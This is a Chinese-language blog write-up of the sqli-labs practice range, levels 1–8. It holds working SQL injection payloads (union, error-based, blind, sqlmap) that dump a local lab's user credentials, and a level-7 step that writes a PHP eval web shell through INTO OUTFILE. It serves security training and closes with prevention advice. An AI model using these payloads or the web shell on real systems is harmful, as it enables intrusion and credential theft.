SQL注入靶场攻击——sqli-labs
一、概述
SQL注入(SQL Injection)是发生在web程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至修改数据库,也就是说,SQL注入就是在爱用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。
二、SQL注入的危害
(1)数据库信息泄露:数据库中存放的用户的隐私信息的泄露;
(2)网页篡改:通过操作数据库对特定网页进行篡改;
(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;
(4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改;
(5)服务器被远程控制:被安装后门,经由数据库服务提供的操作系统支持,让黑客得以修改或控制操作系统;
(6)破坏硬盘数据,瘫痪全系统。
三、SQL注入漏洞的原理
在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞,被攻击者利用来攻击系统和网站。
攻击者在提交请求时将SQL语句插入到请求内容中,程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。
四、SQL注入关卡靶场介绍
在SQL注入漏洞中,注入类型分为三种:数字型、字符型、搜索型
1.数字型
在 Web 端中经常能看到是例如http://xxx.com/news.php?id=1
这种形式,其注入点 id 类型为数字,所以叫数字型注入点。
这一类的 SQL 语句结构通常为 select * from news where id=1
,如果攻击者将参数id的值改为1 or 1=1
,那么程序中拼接的sql语句则为:select * from news where id=1 or 1=1
,因此参数改变了原有的SQL语句结构,导致了SQL注入漏洞攻击。
2.字符型
在 Web 端中也经常能看到例如http://xxx.com/news.php?name=admin
这种形式的URL地址,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句结构通常为
select * from 表名 where name='admin'
当攻击者在参数值admin
尾部加入攻击代码' or 1=1
,那么拼接出来的sql注入语句为:
select * from news where chr='admin' or 1=1 '
这样SQL语句同样也会被改变,当然攻击者也不仅仅使用这么简单的攻击代码,通常还会使用一些更加复杂的攻击代码,例如
admin' union select 1,2,3,4 or '1'='1
在程序中拼接SQL语句之后,则变成了
select * from news where chr='admin' union select 1,2,3,4 or '1'='1'
这样就可以使用union结构将攻击者所感兴趣的内容返回回来
3.搜索型
很多时候我们会看到网站有个站内搜索的功能,搜索功能往往需要和数据库进行交互,因此也会存在SQL注入漏洞风险,搜索型SQL注入的特点是攻击代码中有两个%
当攻击代码为
%xxxx% or 1=1 #%'
所有的用户都在下方展示了出来,在命令行里我们可以这样搜索:
五、攻击实例
1.SQL-ONE
1.判断是否存在sql注入,根据提示输入数值的ID作为参数,例如:?id=1 ?id=2 ?id=3
2.输入数值不同返回的内容也不同,可以判断我们输入的内容事带入到了数据库中进行查询了。
3.判断sql语句是否拼接,同时判断是字符型还是数字型。
4.根据上述结果可以判定是字符型且存在sql注入漏洞。
5.联合注入,第一步:知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超过列数。
输入代码:?id=1'order by 3 --+
再次输入代码:?id=1'order by 4 --+
6.可以看到是第二列和第三列里面的数据是显示在也页面的
输入代码:?id=-1'union select 1,2,3--+
7.获取当前数据名和版本号
输入代码:?id=-1'union select 1,database(),version()--+
8.爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
输入代码:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
9.爆字段名,通过sql语句查询知道当前数据库有四个表,根据表名可能知道账号和密码是在users表中
输入代码:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
10.通过上述操作可以得到的两个敏感字段是username和password
继续输入代码:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.SQL-TWO
1.和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
2.order by猜解字段
可以看到order by 3 时显示正常,order by 4时显示异常,说明有3个可显示字段。
3.查找数据库名称和版本号:?id=-1 union select 1,database(),version()
4.查找表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
5.查询列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6.显示用户名和密码:?id=-1 union select 1,2,group_concat(username ,id , password) from users
3.SQL-THREE
1.判断是否存在注入点
?id=1’) and 1=1 --+
?id=1’) and 1=2 --+
2.判断字段数
?id=1 order by 3 --+
?id=1 order by 4 --+
3.判断回显点
?id=15') union select 1,2,3 --+
4.查询相关内容,如数据库名、表名、列名
数据库名
?id=15')union select 1,database(),3 --+
表名
?id=15')union select 1,table_name,3 from
information_schema.tables where table_schema='security' limit 0,1 --+
列名
?id=15')union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
账号密码:?id=0') union select 1,username,password from users limit 1,1 --+
4.SQL-FOUR
1.判断是否存在注入点
?id=1”) and 1=1 --+
?id=1”) and 1=2 --+
2.判断字段数
?id=1”)order by 3 --+
?id=1”)order by 4 --+
3.判断回显点
?id=15”) union select 1,2,3 --+
4.查询相关内容,如数据库名、表名、列名
数据库名:
?id=15”)union select 1,database(),3 --+
表名:
?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
列名:
?id=15")union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
账号密码:?id=15")union select 1,username,password from users limit 0,1 --+
5.SQL-Five
1.判断注入类型
Sql属于字符型注入
此关手动注入倾向于用基于报错的SQL盲注
2.判断注入点
单引号闭合
· 3.联合注入,判断字段数
字段数为1,2,3
4.爆出显错位
无显错位,故可使用盲注,本关使用基于报错的SQL盲注
5.Updatexml注入
爆库名
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- +
得到当前库名为security
爆表名
?id=1' and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)-- +
得到当前表名有emails,referers,uagents,user
爆列名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1)-- +
得到users表的所有列名为id,username,password
爆字段号
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)-- +
获得用户表的账号为Dumb,密码为Dumb
6.SQL-Six
1、判断注入类型
Sql属于字符型注入
2、判断注入点
双引号闭合
3、联合注入,判断字段数
字段数为1,2,3
4、爆出显错位
无显错位,故可使用盲注,本关使用基于报错的SQL盲注
5、双查询注入
爆库名
?id=1" union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a-- +
得到当前库名为security
爆表名
?id=1" union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
得到当前表名有emails,referers,uagents,user
爆列名
?id=1" union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a -- +得到user表的所有列名为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
爆字段号
?id=1" union select 1,count(*),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+
获得用户表的账号为Dumb,密码为Dumb
7.SQL-SEVEN
当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
1.判断是否存在注入
当输入?id=1时
当输入?id=1’时回显错误 初步判断为字符型注入
接下来我们测试 ?id=1' 是否是注入点(利用 or 1=1 或者 and 1=1等方法):
发现报错,那么接下来 分析是否存在括号及其个数,依次增加括号个数,直到回显正常
由此可推断出,这是带双括号的单引号注入
1、先导出文件
导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径
2、读写权限测试:?id=1')) and (select count(*) from mysql.user)>0 --+ 返回正常则有权限读写
3、利用into outfile进行演示:?id=-1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test1.txt"--+
在浏览器或后台中生成test.txt文件
导入到文件:?id=1')) union select 1,2,'<?php @eval($_POST["111111"])?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+
中国蚁剑链接
8.SQL-EIGHT
1、分别输入?Id=1 ?Id=1’ ?Id=1”
根据题目提示可知这是单引号注入且需要通过盲注进行通关
那么首先利用单引号看一下网页的回显:
用?id=1’ or1=1--+测试是不是注入点
利用布尔盲注进行数据库信息。
利用 left(version(),1)进行尝试,查看一下 version(),当前环境数据库的版本号为 5.5.47 这里的语句的意思是看版本号的第一位是不是 5,明显的返回的结果是正确的。
?id=1' and length(database())=8 --+
查看数据库的长度,长度为 8 时,正确回显,说明长度为 8.(知道了数据库长度可大大减少我们猜数据库名的时间)
?id=1' and left(database(),1)>'s' --+
依次可推出security
2、在sqlmap中输入:python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1 --dbs -batch ,得到数据库名为security。
在sqlmap中输入python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1--current-db -batch 得到数据库中的表
获取数据库中的列输入:python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1-D security -T users --columns -batch
获取数据库中的数据python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1 -D security -T users -C username--dump -batch
六、总结
通过此次对sqil关卡的通关,我了解到sql注入本质上来说就是拼接字符,通过输入额外的信息破坏外后端脚本原有的查询语句结构,从而达成注入的目的。在SQLI中,按照注入参数类别分为字符型注入、数字型注入、GET型注入、URL注入、请求头注入、POST注入、有回显的注入、联合查询注入等。在通关时,应判断闭合符,列数,然后开始查询数据库名,查表名,查列名,最后查数据得到用户名和密码。其中我对于盲注有进行部分深入了解,盲注分为布尔盲注和时间盲注,对于盲注常用报错注入方式进行破解,常见的报错注入有双查询报错注入、exp函数报错注入、updatexml函数报错注入、extractvalue函数报错注入,join语句报错注入等等,当然还有一些报错注入,不过不常用。当然,除了盲注外还有其他的注入,如二阶注入、堆叠注入、长字符串截断注入、无回显的注入等等。总的来说,sql注入存在的原因就是计算机对代码部分与数据部分区分错误导致的。
对于SQL注入的预防措施,如过滤输入内容,校验字符串、参数化查询,也就是绑定变量,使用预编译查询、采用安全测试,安全审计,如避免使用动态SQL,不要将敏感数据保留在纯文本中,限制数据库的权限和特权以及避免直接向用户显示数据库错误
相关文章:

SQL注入靶场攻击——sqli-labs
一、概述 SQL注入(SQL Injection)是发生在web程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号…...

Conda 环境打包与私有化部署指南
Conda 环境打包与私有化部署指南 本指南旨在帮助用户将已创建的 Conda 环境打包并在目标服务器上私有化部署,适用于环境不能直接访问外网或需要快速迁移的场景。 1. 环境打包 在源服务器上,使用 conda pack 工具将已创建的 Conda 环境打包成一个归档文…...

网页版IntelliJ IDEA部署
在服务器部署网页 IntelliJ IDEA 引言 大家好,我是小阳,今天要为大家带来一个黑科技——如何在云端部署和使用WEB版的IntelliJ IDEA,让你在任何地方都可以随心所欲地进行Java开发。这个方法特别适合那些用着老旧Windows电脑,部署…...

科创微应用平台小程序的设计
管理员账户功能包括:系统首页,个人中心,用户管理,场地信息管理,场地类型管理,预约参观管理,场地预约管理,活动信息订单,系统管理 微信端账号功能包括:系统首…...

grom接入Prometheus,grafana
在同级目录下分别创建 docker-compose.yml,与prometheus.yml 配置文件 version: 3.8services:prometheus:image: prom/prometheuscontainer_name: prometheusports:- "9090:9090" # Prometheus Web UI 端口volumes:- ./prometheus.yml:/etc/prometheus…...

C++结构体指针强制转换以处理电力系统IEC103报文
前言 最近依旧是开发规约解析工具的103篇,已经完成了通用分类服务部分的解析,现在着手开始搞扰动数据传输,也就是故障录波的传输。 在103故障录波(扰动数据)的报文中,数据是一个数据集一个数据集地存放&a…...

vue3.0脚手架、路由、Element Plus安装案例:收录于Vue 3.0 后台管理系统案例
目录 环境配置 Vue 3.0 脚手架(Vite)安装 node版本查询与切换 创建一个vue应用 Vue Router安装 安装vue-router4 配置路由 安装配置 展示路由 Element UI安装 安装element-plus 引入element-plus 使用element-plus 用户登录 环境配置 Vue 3…...

JS中原型相关的十个知识点总结
JavaScript 中的原型(Prototype)是理解对象和继承机制的核心概念。以下是我对 JavaScript 原型相关知识点的总结和详细讲解: 1. 原型对象(Prototype Object) 在 JavaScript 中,每个对象都有一个关联的对象…...

使用DevKit套件调优 --未完
基于鲲鹏开发板使用DevKit套件调优 鲲鹏开发板平台使用体验 我们使用的硬件平台是Orange Pi Kunpeng Pro,外观如下图 我们看到我们的Orange Pi 颜值相当的高,我们使用远程连接后就能看见我们非常漂亮的openEuler的桌面。 openEuler操作系统已经预装好了…...

Vue3+ElementUI中的Table组件的使用
Vue3ElementUI中的Table组件的使用 校验表格内多个输入框校验 表格滚动到底部 校验 表格内多个输入框校验 注意prop如何写。实现:一旦输入框内部有更改,清空校验;实现:自定义校验错误提示信息样式;实现:在…...

Highcharts 条形图:数据可视化的利器
Highcharts 条形图:数据可视化的利器 引言 在数据分析和可视化领域,Highcharts 是一个广受欢迎的 JavaScript 图表库。它以其易用性、灵活性和丰富的图表类型而著称。其中,条形图作为一种基础但功能强大的图表类型,被广泛应用于各种场景,以直观地展示数据分布和比较。本…...

嵌入式初学-C语言-二四
Void与void*的区别 定义: Void:空类型,是数据类型的一种 Void*:是指针类型,是指针类型的一种,可以匹配任何类型的指针,类似于通配符 Void 说明:void作为返回值类型使用…...

tcpdump入门——每种flag分别表示什么意思
在 tcpdump 的输出中,TCP 标志位(Flags)通常用简写字符表示。以下是每种 TCP 标志位的含义及其对应的简写字符: TCP 标志位及其简写 SYN (Synchronize) 作用:用于初始化连接。简写字符:S ACK (Acknowledgm…...

Qt如何封装工具
在Qt中封装工具类或库是一种常见的开发模式,通过封装可以提高代码的可重用性、可维护性和模块化。以下是封装工具类的一些步骤和最佳实践: ### 1. 创建工具类 首先,创建一个新的C类作为你的工具类。在Qt Creator中,可以通过右键点…...

vue3进阶用法之通过调用函数动态加载组件用法及示例
业务场景 假设现在有一个可能在全局任何地方调用的vue组件你会怎么办?非常简单,在app.vue下的router-view同级写上这个组件,在全局中加一个变量v-if判断这个变量就解决了! tempalte中 <div><router-view /><You…...

线程和进程的关系
计算机是如何运行的?CPU 操作系统 进程管理 CPU 多核心 充分利用-> 并发编程,并发执行就算分时复用, 包括多进程编程。 多进程编程进程太重,创建进程,销毁进程开销比较大 ,不利于频繁创建销毁进程&…...

《AI视频类工具之十二—— EbSynth》
一.简介 官网:https://ebsynth.com/?ref=ai-bot.cn EbSynth是一款功能强大的视频风格转换工具,它利用先进的图像处理和计算机视觉技术,将静态艺术风格应用到视频中的每一帧,为视频创作者提供了全新的创作方式。 二.功能介绍 主要功能 视频转换:EbSynth 可以将视频转换…...

Facebook国内企业户、海外户、国内二不限户以及三不限户区别何在?
Facebook广告账户的类型和设置对于企业在不同市场中的广告活动至关重要。了解国内企业户、海外企业户,以及国内二不限户和三不限户的区别,可以帮助你更好地选择和管理广告账户。以下是对这些账户类型的详细解析。 一、Facebook海外企业广告账户 海外企业…...

修改 ASP.NET Core 应用程序运行后的默认端口
可以通过以下几种方法来实现。具体选择哪种方法取决于项目需求和环境设置。 方法 1:使用 appsettings.json 配置文件 你可以在 appsettings.json 中设置 Kestrel 的配置来更改默认端口。 打开 appsettings.json 文件,添加 Kestrel 配置: { …...

维基知识库系统Wiki.js本地Linux环境部署并配置公网地址远程访问
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

010集——按值传递、按引用传递等方法——C#学习笔记
按值传递参数 这是参数传递的默认方式。在这种方式下,当调用一个方法时,会为每个值参数创建一个新的存储位置。 实际参数的值会复制给形参,实参和形参使用的是两个不同内存中的值。所以,当形参的值发生改变时,不会影…...

Linux系统调优技巧
Linux系统调优技巧 Linux 性能调优技巧的深度分析及场景案例目录 1. Linux 性能调优的基础概念1.1 性能调优的目标1.2 常见的性能瓶颈 2. 系统监控与性能分析工具2.1 常用工具介绍2.2 实战案例:如何通过工具定位性能问题 3. CPU 性能调优3.1 CPU 负载分析3.2 CPU 调…...

计算机学习
不要只盯着计算机语言学习,你现在已经学习了C语言和Java,暑假又规划学习Python,最后你掌握的就是计算机语言包而已。 2. 建议你找一门想要深挖的语言,沿着这个方向继续往后学习知识就行。计算机语言是学不完的,而未来就…...

数字医学影像系统PACS源码,三甲以下医院都能满足,C#语言开发,C/S架构系统成熟稳定,支持二次开发项目使用。
数字医学影像系统(RIS/PACS)源码,三甲以下的医院都能满足。开发技术:C/S架构,C#开发语言,数据库服务器采用Oracle数据库。 PACS系统模块组成 : 工作站: 分诊工作站、超声工作站、放…...

C++语言基础|循环结构
C语言基础|循环结构 循环1. for语句2. while循环3. do…while语句 循环 在程序中,常常需要重复地执行某些操作。C提供了3种循环语句:for语句、while语句和do-while语句。在循环语句中,重复执行的操作叫做循环体。循环体可以是单条语句、块语…...

【学习笔记】解决在声音输出中找不到蓝牙耳机设备的问题
【学习笔记】在声音输出中找不到蓝牙耳机设备 在使用蓝牙耳机的时候,遇见一个问题,就是在电脑在连接蓝牙耳机之后,在声音输出中找不到蓝牙耳机设备,只能使用扬声器播放声音。电脑使用的是Windows 11系统。后来在网上寻找解决方案…...

PPPoE基础笔记
一、拨号原理 1.Discovery(发现阶段) PADI Client 发送广播的PADI报文,报文中包含Client想要的服务信息。 PADO Server收到PADI后,会向Client回复一个单播的PADO报文。 PADR Client 收到最先收到的PADO…...

开发组日志记录SPEC_v0.1.0
文章目录 开发组日志记录SPEC_v0.1.0目的设计逻辑1. User日志记录器1.1 记录器标签内容介绍1.2 程序打印User日志规则 2. Dev日志记录器2.1 记录器标签内容介绍2.2 程序打印Dev日志规则 3.代码说明3.1 代码详情3.2 使用说明 更新记录 时间版本内容修订者备注2024/08/150.1.0创…...

MySQL8 innoDB引擎的精髓
[client] port 3306 socket /var/lib/mysql/mysql.sock [mysql] #prompt"\umysqldb \R:\m:\s [\d]> " #关闭自动补全sql命令功能 no-auto-rehash ########################################################################### ##服务端参数配置 ######…...

【C语言实现花屏效果并打包程序为exe可执行文件】
说明:该程序为临摹改良(😀)作品,源地址C/C屏幕恶搞程序 效果展示 上代码 #include <windows.h>#define NUM 11451LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);int main() // Renamed WinMain to main {static int iKeep[NU…...